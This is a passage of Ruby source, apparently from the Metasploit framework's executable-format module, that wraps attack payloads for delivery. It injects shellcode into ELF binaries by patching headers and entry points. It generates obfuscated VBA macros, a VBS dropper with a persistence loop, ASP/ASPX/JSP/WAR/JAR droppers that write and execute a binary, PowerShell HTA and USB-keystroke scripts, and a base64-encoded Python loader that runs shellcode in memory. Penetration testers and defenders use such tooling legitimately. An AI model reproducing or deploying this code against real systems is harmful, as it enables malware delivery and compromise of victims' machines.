<?xml version="1.0" encoding="UTF-8"?>
1009
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
1010
<plist version="1.0">
1011
<dict>
1012
<key>CFBundleExecutable</key>
1013
<string>#{exe_name}</string>
1014
<key>CFBundleIdentifier</key>
1015
<string>com.#{exe_name}.app</string>
1016
<key>CFBundleName</key>
1017
<string>#{exe_name}</string>#{visible_plist}
1018
<key>CFBundlePackageType</key>
1019
<string>APPL</string>
1020
#{plist_extra}
1021
</dict>
1022
</plist>
1023
|
1024
1025
zip = Rex::Zip::Archive.new
1026
zip.add_file("#{app_name}/", '')
1027
zip.add_file("#{app_name}/Contents/", '')
1028
zip.add_file("#{app_name}/Contents/Resources/", '')
1029
zip.add_file("#{app_name}/Contents/MacOS/", '')
1030
# Add the macho and mark it as executable
1031
zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0o777
1032
zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
1033
zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
1034
zip.pack
1035
end
1036
1037
# Create an ELF executable containing the payload provided in +code+
1038
#
1039
# For the default template, this method just appends the payload, checks if
1040
# the template is 32 or 64 bit and adjusts the offsets accordingly
1041
# For user-provided templates, modifies the header to mark all executable
1042
# segments as writable and overwrites the entrypoint (usually _start) with
1043
# the payload.
1044
# @param framework [Msf::Framework] The framework of you want to use
1045
# @param opts [Hash]
1046
# @option [String] :template
1047
# @param template [String]
1048
# @param code [String]
1049
# @param big_endian [Boolean] Set to "false" by default
1050
# @return [String]
1051
def self.to_exe_elf(framework, opts, template, code, big_endian=false)
1052
if elf? code
1053
return code
1054
end
1055
1056
# Allow the user to specify their own template
1057
set_template_default(opts, template)
1058
1059
# The old way to do it is like other formats, just overwrite a big
1060
# block of rwx mem with our shellcode.
1061
#bo = elf.index( "\x90\x90\x90\x90" * 1024 )
1062
#co = elf.index( " " * 512 )
1063
#elf[bo, 2048] = [code].pack('a2048') if bo
1064
1065
# The new template is just an ELF header with its entry point set to
1066
# the end of the file, so just append shellcode to it and fixup
1067
# p_filesz and p_memsz in the header for a working ELF executable.
1068
elf = self.get_file_contents(opts[:template])
1069
elf << code
1070
1071
# Check EI_CLASS to determine if the header is 32 or 64 bit
1072
# Use the proper offsets and pack size
1073
case elf[4,1].unpack("C").first
1074
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
1075
if big_endian
1076
elf[0x44,4] = [elf.length].pack('N') #p_filesz
1077
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
1078
else # little endian
1079
elf[0x44,4] = [elf.length].pack('V') #p_filesz
1080
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
1081
end
1082
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
1083
if big_endian
1084
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
1085
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
1086
else # little endian
1087
elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
1088
elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
1089
end
1090
else
1091
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
1092
end
1093
1094
elf
1095
end
1096
1097
# Create a 32-bit Linux ELF containing the payload provided in +code+
1098
#
1099
# @param framework [Msf::Framework] The framework of you want to use
1100
# @param code [String]
1101
# @param opts [Hash]
1102
# @option [String] :template
1103
# @return [String] Returns an elf
1104
def self.to_linux_x86_elf(framework, code, opts = {})
1105
default = true unless opts[:template]
1106
1107
if default
1108
elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
1109
else
1110
# Use set_template_default to normalize the :template key. It will just end up doing
1111
# opts[:template] = File.join(opts[:template_path], opts[:template])
1112
# for us, check if the file exists.
1113
set_template_default(opts, 'template_x86_linux.bin')
1114
1115
# If this isn't our normal template, we have to do some fancy
1116
# header patching to mark the .text section rwx before putting our
1117
# payload into the entry point.
1118
1119
# read in the template and parse it
1120
e = Metasm::ELF.decode_file(opts[:template])
1121
1122
# This will become a modified copy of the template's original phdr
1123
new_phdr = Metasm::EncodedData.new
1124
e.segments.each { |s|
1125
# Be lazy and mark any executable segment as writable. Doing
1126
# it this way means we don't have to care about which one
1127
# contains .text
1128
s.flags += [ "W" ] if s.flags.include? "X"
1129
new_phdr << s.encode(e)
1130
}
1131
1132
# Copy the original file
1133
elf = self.get_file_contents(opts[:template], "rb")
1134
1135
# Replace the header with our rwx modified version
1136
elf[e.header.phoff, new_phdr.data.length] = new_phdr.data
1137
1138
# Replace code at the entrypoint with our payload
1139
entry_off = e.addr_to_off(e.label_addr('entrypoint'))
1140
elf[entry_off, code.length] = code
1141
end
1142
1143
elf
1144
end
1145
1146
# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
1147
#
1148
# @param framework [Msf::Framework]
1149
# @param code [String]
1150
# @param opts [Hash]
1151
# @option [String] :template
1152
# @return [String] Returns an elf
1153
def self.to_bsd_x86_elf(framework, code, opts = {})
1154
to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
1155
end
1156
1157
# Create a 64-bit Linux ELF containing the payload provided in +code+
1158
#
1159
# @param framework [Msf::Framework]
1160
# @param code [String]
1161
# @param opts [Hash]
1162
# @option [String] :template
1163
# @return [String] Returns an elf
1164
def self.to_bsd_x64_elf(framework, code, opts = {})
1165
to_exe_elf(framework, opts, "template_x64_bsd.bin", code)
1166
end
1167
1168
# Create a 32-bit Solaris ELF containing the payload provided in +code+
1169
#
1170
# @param framework [Msf::Framework]
1171
# @param code [String]
1172
# @param opts [Hash]
1173
# @option [String] :template
1174
# @return [String] Returns an elf
1175
def self.to_solaris_x86_elf(framework, code, opts = {})
1176
to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
1177
end
1178
1179
# Create a 64-bit Linux ELF containing the payload provided in +code+
1180
#
1181
# @param framework [Msf::Framework]
1182
# @param code [String]
1183
# @param opts [Hash]
1184
# @option [String] :template
1185
# @return [String] Returns an elf
1186
def self.to_linux_x64_elf(framework, code, opts = {})
1187
to_exe_elf(framework, opts, "template_x64_linux.bin", code)
1188
end
1189
1190
# Create a 32-bit Linux ELF_DYN containing the payload provided in +code+
1191
#
1192
# @param framework [Msf::Framework]
1193
# @param code [String]
1194
# @param opts [Hash]
1195
# @option [String] :template
1196
# @return [String] Returns an elf
1197
def self.to_linux_x86_elf_dll(framework, code, opts = {})
1198
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
1199
end
1200
1201
# Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+
1202
#
1203
# @param framework [Msf::Framework]
1204
# @param code [String]
1205
# @param opts [Hash]
1206
# @option [String] :template
1207
# @return [String] Returns an elf
1208
def self.to_linux_aarch64_elf_dll(framework, code, opts = {})
1209
to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code)
1210
end
1211
1212
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
1213
#
1214
# @param framework [Msf::Framework]
1215
# @param code [String]
1216
# @param opts [Hash]
1217
# @option [String] :template
1218
# @return [String] Returns an elf
1219
def self.to_linux_x64_elf_dll(framework, code, opts = {})
1220
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
1221
end
1222
1223
# self.to_linux_armle_elf
1224
#
1225
# @param framework [Msf::Framework]
1226
# @param code [String]
1227
# @param opts [Hash]
1228
# @option [String] :template
1229
# @return [String] Returns an elf
1230
def self.to_linux_armle_elf(framework, code, opts = {})
1231
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
1232
end
1233
1234
# self.to_linux_armle_elf_dll
1235
#
1236
# @param framework [Msf::Framework]
1237
# @param code [String]
1238
# @param opts [Hash]
1239
# @option [String] :template
1240
# @return [String] Returns an elf-so
1241
def self.to_linux_armle_elf_dll(framework, code, opts = {})
1242
to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
1243
end
1244
1245
# self.to_linux_aarch64_elf
1246
#
1247
# @param framework [Msf::Framework]
1248
# @param code [String]
1249
# @param opts [Hash]
1250
# @option [String] :template
1251
# @return [String] Returns an elf
1252
def self.to_linux_aarch64_elf(framework, code, opts = {})
1253
to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
1254
end
1255
1256
# self.to_linux_ppc64_elf
1257
#
1258
# @param framework [Msf::Framework]
1259
# @param code [String]
1260
# @param opts [Hash]
1261
# @option [String] :template
1262
# @return [String] Returns an elf
1263
def self.to_linux_ppc64_elf(framework, code, opts = {})
1264
to_exe_elf(framework, opts, "template_ppc64_linux.bin", code, true)
1265
end
1266
# self.to_linux_mipsle_elf
1267
# Little Endian
1268
# @param framework [Msf::Framework]
1269
# @param code [String]
1270
# @param opts [Hash]
1271
# @option [String] :template
1272
# @return [String] Returns an elf
1273
def self.to_linux_mipsle_elf(framework, code, opts = {})
1274
to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
1275
end
1276
1277
# self.to_linux_mipsbe_elf
1278
# Big Endian
1279
# @param framework [Msf::Framework]
1280
# @param code [String]
1281
# @param opts [Hash]
1282
# @option [String] :template
1283
# @return [String] Returns an elf
1284
def self.to_linux_mipsbe_elf(framework, code, opts = {})
1285
to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
1286
end
1287
1288
# Create a RISC-V 64-bit LE Linux ELF containing the payload provided in +code+
1289
#
1290
# @param framework [Msf::Framework]
1291
# @param code [String]
1292
# @param opts [Hash]
1293
# @option [String] :template
1294
# @return [String] Returns an elf
1295
def self.to_linux_riscv64le_elf(framework, code, opts = {})
1296
to_exe_elf(framework, opts, "template_riscv64le_linux.bin", code)
1297
end
1298
1299
# Create a RISC-V 64-bit LE Linux ELF_DYN containing the payload provided in +code+
1300
#
1301
# @param framework [Msf::Framework]
1302
# @param code [String]
1303
# @param opts [Hash]
1304
# @option [String] :template
1305
# @return [String] Returns an elf
1306
def self.to_linux_riscv64le_elf_dll(framework, code, opts = {})
1307
to_exe_elf(framework, opts, "template_riscv64le_linux_dll.bin", code)
1308
end
1309
1310
# Create a RISC-V 32-bit LE Linux ELF containing the payload provided in +code+
1311
#
1312
# @param framework [Msf::Framework]
1313
# @param code [String]
1314
# @param opts [Hash]
1315
# @option [String] :template
1316
# @return [String] Returns an elf
1317
def self.to_linux_riscv32le_elf(framework, code, opts = {})
1318
to_exe_elf(framework, opts, "template_riscv32le_linux.bin", code)
1319
end
1320
1321
# Create a RISC-V 32-bit LE Linux ELF_DYN containing the payload provided in +code+
1322
#
1323
# @param framework [Msf::Framework]
1324
# @param code [String]
1325
# @param opts [Hash]
1326
# @option [String] :template
1327
# @return [String] Returns an elf
1328
def self.to_linux_riscv32le_elf_dll(framework, code, opts = {})
1329
to_exe_elf(framework, opts, "template_riscv32le_linux_dll.bin", code)
1330
end
1331
1332
# self.to_exe_vba
1333
#
1334
# @param exes [String]
1335
def self.to_exe_vba(exes='')
1336
exe = exes.unpack('C*')
1337
hash_sub = {}
1338
idx = 0
1339
maxbytes = 2000
1340
var_base_idx = 0
1341
var_base = Rex::Text.rand_text_alpha(5).capitalize
1342
1343
# First write the macro into the vba file
1344
hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
1345
hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
1346
hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
1347
hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
1348
hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
1349
hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
1350
hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
1351
hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
1352
hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
1353
hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
1354
hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
1355
hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
1356
hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)
1357
1358
# Function 1 extracts the binary
1359
hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s
1360
1361
# Function 2 executes the binary
1362
hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s
1363
1364
hash_sub[:data] = ""
1365
1366
# Writing the bytes of the exe to the file
1367
1.upto(exe.length) do |pc|
1368
while c = exe[idx]
1369
hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
1370
if idx > 1 && (idx % maxbytes) == 0
1371
# When maxbytes are written make a new paragrpah
1372
hash_sub[:data] << "\r\n"
1373
end
1374
idx += 1
1375
end
1376
end
1377
1378
read_replace_script_template("to_exe.vba.template", hash_sub)
1379
end
1380
1381
# self.to_vba
1382
#
1383
# @param framework [Msf::Framework]
1384
# @param code [String]
1385
# @param opts [Hash] Unused
1386
def self.to_vba(framework,code,opts = {})
1387
hash_sub = {}
1388
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1389
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1390
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1391
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1392
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1393
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1394
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1395
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1396
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1397
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1398
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1399
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1400
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1401
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1402
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1403
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1404
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1405
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1406
1407
# put the shellcode bytes into an array
1408
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
1409
1410
read_replace_script_template("to_mem.vba.template", hash_sub)
1411
end
1412
1413
# self.to_powershell_vba
1414
#
1415
# @param framework [Msf::Framework]
1416
# @param arch [String]
1417
# @param code [String]
1418
#
1419
def self.to_powershell_vba(framework, arch, code)
1420
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1421
1422
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1423
arch,
1424
template_path,
1425
encode_final_payload: true,
1426
remove_comspec: true,
1427
method: 'reflection')
1428
1429
# Initialize rig and value names
1430
rig = Rex::RandomIdentifier::Generator.new()
1431
rig.init_var(:sub_auto_open)
1432
rig.init_var(:var_powershell)
1433
1434
hash_sub = rig.to_h
1435
# VBA has a maximum of 24 line continuations
1436
line_length = powershell.length / 24
1437
vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'
1438
1439
hash_sub[:powershell] = vba_psh
1440
1441
read_replace_script_template("to_powershell.vba.template", hash_sub)
1442
end
1443
1444
# self.to_exe_vba
1445
#
1446
# @param exes [String]
1447
# @param opts [Hash]
1448
# @option opts [String] :delay
1449
# @option opts [String] :persists
1450
# @option opts [String] :exe_filename
1451
def self.to_exe_vbs(exes = '', opts = {})
1452
delay = opts[:delay] || 5
1453
persist = opts[:persist] || false
1454
1455
hash_sub = {}
1456
hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
1457
hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.b64'
1458
hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
1459
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
1460
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
1461
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
1462
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
1463
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1464
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1465
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1466
hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)
1467
hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8)
1468
hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8)
1469
hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8)
1470
hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8)
1471
hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8)
1472
hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8)
1473
hash_sub[:init] = ""
1474
1475
if persist
1476
hash_sub[:init] << "Do\r\n"
1477
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
1478
hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
1479
hash_sub[:init] << "Loop\r\n"
1480
else
1481
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
1482
end
1483
1484
read_replace_script_template("to_exe.vbs.template", hash_sub)
1485
end
1486
1487
# self.to_exe_asp
1488
#
1489
# @param exes [String]
1490
# @param opts [Hash] Unused
1491
def self.to_exe_asp(exes = '', opts = {})
1492
hash_sub = {}
1493
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
1494
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
1495
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
1496
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
1497
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
1498
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
1499
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1500
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1501
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1502
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
1503
read_replace_script_template("to_exe.asp.template", hash_sub)
1504
end
1505
1506
# self.to_exe_aspx
1507
#
1508
# @param exes [String]
1509
# @option opts [Hash]
1510
def self.to_exe_aspx(exes = '', opts = {})
1511
hash_sub = {}
1512
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)
1513
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1514
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1515
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
1516
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1517
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
1518
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
1519
hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
1520
read_replace_script_template("to_exe.aspx.template", hash_sub)
1521
end
1522
1523
def self.to_mem_aspx(framework, code, exeopts = {})
1524
# Initialize rig and value names
1525
rig = Rex::RandomIdentifier::Generator.new()
1526
rig.init_var(:var_funcAddr)
1527
rig.init_var(:var_hThread)
1528
rig.init_var(:var_pInfo)
1529
rig.init_var(:var_threadId)
1530
rig.init_var(:var_bytearray)
1531
1532
hash_sub = rig.to_h
1533
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
1534
1535
read_replace_script_template("to_mem.aspx.template", hash_sub)
1536
end
1537
1538
def self.to_win32pe_psh_net(framework, code, opts={})
1539
Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1540
end
1541
1542
def self.to_win32pe_psh(framework, code, opts = {})
1543
Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1544
end
1545
1546
#
1547
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
1548
# Tweaked by shellster
1549
# Originally from PowerSploit
1550
#
1551
def self.to_win32pe_psh_reflection(framework, code, opts = {})
1552
Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1553
end
1554
1555
def self.to_powershell_command(framework, arch, code)
1556
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1557
Rex::Powershell::Command.cmd_psh_payload(code,
1558
arch,
1559
template_path,
1560
encode_final_payload: true,
1561
method: 'reflection')
1562
end
1563
1564
def self.to_powershell_ducky_script(framework, arch, code)
1565
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1566
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1567
arch,
1568
template_path,
1569
encode_final_payload: true,
1570
method: 'reflection')
1571
replacers = {}
1572
replacers[:var_payload] = powershell
1573
read_replace_script_template("to_powershell.ducky_script.template", replacers)
1574
end
1575
1576
def self.to_powershell_hta(framework, arch, code)
1577
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1578
1579
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1580
arch,
1581
template_path,
1582
encode_final_payload: true,
1583
remove_comspec: true,
1584
method: 'reflection')
1585
1586
# Initialize rig and value names
1587
rig = Rex::RandomIdentifier::Generator.new()
1588
rig.init_var(:var_shell)
1589
rig.init_var(:var_fso)
1590
1591
hash_sub = rig.to_h
1592
hash_sub[:powershell] = powershell
1593
1594
read_replace_script_template("to_powershell.hta.template", hash_sub)
1595
end
1596
1597
def self.to_python_reflection(framework, arch, code, exeopts)
1598
unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch
1599
raise RuntimeError, "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"
1600
end
1601
python_code = <<~PYTHON
1602
#{Rex::Text.to_python(code)}
1603
import ctypes,os
1604
if os.name == 'nt':
1605
cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)
1606
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
1607
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
1608
ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]
1609
ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))
1610
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
1611
else:
1612
import mmap
1613
from ctypes.util import find_library
1614
c = ctypes.CDLL(find_library('c'))
1615
c.mmap.restype = ctypes.c_void_p
1616
ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)
1617
ctypes.memmove(ptr,buf,len(buf))
1618
c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]
1619
c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)
1620
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
1621
PYTHON
1622
1623
"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"
1624
end
1625
1626
def self.to_win32pe_psh_msil(framework, code, opts = {})
1627
Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1628
end
1629
1630
def self.to_win32pe_psh_rc4(framework, code, opts = {})
1631
# unlike other to_win32pe_psh_* methods, this expects powershell code, not asm
1632
# this method should be called after other to_win32pe_psh_* methods to wrap the output
1633
Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1634
end
1635
1636
def self.to_jsp(exe)
1637
hash_sub = {}
1638
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
1639
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
1640
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
1641
hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)
1642
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
1643
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
1644
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
1645
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
1646
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
1647
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
1648
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
1649
1650
payload_hex = exe.unpack('H*')[0]
1651
hash_sub[:payload] = payload_hex
1652
1653
read_replace_script_template("to_exe.jsp.template", hash_sub)
1654
end
1655
1656
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
1657
# payload. The jsp page converts the hexdump back to a normal binary file
1658
# and places it in the temp directory. The payload file is then executed.
1659
#
1660
# @see to_war
1661
# @param exe [String] Executable to drop and run.
1662
# @param opts (see to_war)
1663
# @option opts (see to_war)
1664
# @return (see to_war)
1665
def self.to_jsp_war(exe, opts = {})
1666
template = self.to_jsp(exe)
1667
self.to_war(template, opts)
1668
end
1669
1670
def self.to_win32pe_vbs(framework, code, opts = {})
1671
to_exe_vbs(to_win32pe(framework, code, opts), opts)
1672
end
1673
1674
def self.to_win64pe_vbs(framework, code, opts = {})
1675
to_exe_vbs(to_win64pe(framework, code, opts), opts)
1676
end
1677
1678
# Creates a jar file that drops the provided +exe+ into a random file name
1679
# in the system's temp dir and executes it.
1680
#
1681
# @see Msf::Payload::Java
1682
#
1683
# @return [Rex::Zip::Jar]
1684
def self.to_jar(exe, opts = {})
1685
spawn = opts[:spawn] || 2
1686
exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
1687
zip = Rex::Zip::Jar.new
1688
zip.add_sub("metasploit") if opts[:random]
1689
paths = [
1690
[ "metasploit", "Payload.class" ],
1691
]
1692
1693
zip.add_file('metasploit/', '')
1694
paths.each do |path_parts|
1695
path = ['java', path_parts].flatten.join('/')
1696
contents = ::MetasploitPayloads.read(path)
1697
zip.add_file(path_parts.join('/'), contents)
1698
end
1699
1700
zip.build_manifest :main_class => "metasploit.Payload"
1701
config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
1702
zip.add_file("metasploit.dat", config)
1703
zip.add_file(exe_name, exe)
1704
1705
zip
1706
end
1707
1708
# Creates a Web Archive (WAR) file from the provided jsp code.
1709
#
1710
# On Tomcat, WAR files will be deployed into a directory with the same name
1711
# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
1712
# server is in a default configuration, deoployment will happen
1713
# automatically. See
1714
# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
1715
# documentation} for a description of how this works.
1716
#
1717
# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
1718
# in the archive. This will be compiled by the victim servlet container
1719
# (e.g., Tomcat) and act as the main function for the servlet.
1720
# @param opts [Hash]
1721
# @option opts :jsp_name [String] Name of the <jsp-file> in the archive
1722
# _without the .jsp extension_. Defaults to random.
1723
# @option opts :app_name [String] Name of the app to put in the <servlet-name>
1724
# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
1725
# random.
1726
# @option opts :extra_files [Array<String,String>] Additional files to add
1727
# to the archive. First element is filename, second is data
1728
#
1729
# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
1730
#
1731
# @return [String]
1732
def self.to_war(jsp_raw, opts = {})
1733
jsp_name = opts[:jsp_name]
1734
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
1735
app_name = opts[:app_name]
1736
app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
1737
1738
meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
1739
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
1740
web_xml = %q{<?xml version="1.0"?>
1741
<!DOCTYPE web-app PUBLIC
1742
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
1743
"http://java.sun.com/dtd/web-app_2_3.dtd">
1744
<web-app>
1745
<servlet>
1746
<servlet-name>NAME</servlet-name>
1747
<jsp-file>/PAYLOAD.jsp</jsp-file>
1748
</servlet>
1749
</web-app>
1750
}
1751
web_xml.gsub!('NAME', app_name)
1752
web_xml.gsub!('PAYLOAD', jsp_name)
1753
